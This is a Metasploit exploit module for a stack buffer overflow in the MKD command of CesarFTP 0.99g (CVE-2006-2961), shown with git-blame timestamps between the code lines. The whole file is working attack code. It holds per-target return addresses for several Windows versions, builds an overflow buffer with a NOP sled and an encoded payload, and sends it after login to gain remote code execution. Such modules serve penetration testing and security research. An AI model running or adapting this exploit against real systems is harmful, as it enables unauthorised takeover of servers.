2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-12 15:57:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
You must have valid credentials to trigger this vulnerability. Also, you
|
|
|
|
only get one chance, so choose your target carefully.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-2961'],
|
|
|
|
[ 'OSVDB', '26364'],
|
|
|
|
[ 'BID', '18586'],
|
|
|
|
[ 'URL', 'http://secunia.com/advisories/20574/' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 250,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'SymbolLookup' => 'ws2ord',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
|
|
|
|
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
|
|
|
|
[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
|
|
|
|
#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
|
|
|
|
#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
|
|
|
|
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 12 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (banner =~ /CesarFTP 0\.99g/)
|
2014-01-21 17:07:03 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
c = connect_login
|
|
|
|
return if not c
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = "\n" * 671 + rand_text_english(3, payload_badchars)
|
|
|
|
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
send_cmd( ['MKD', sploit] , false)
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2009-05-19 13:20:32 +00:00
|
|
|
end
|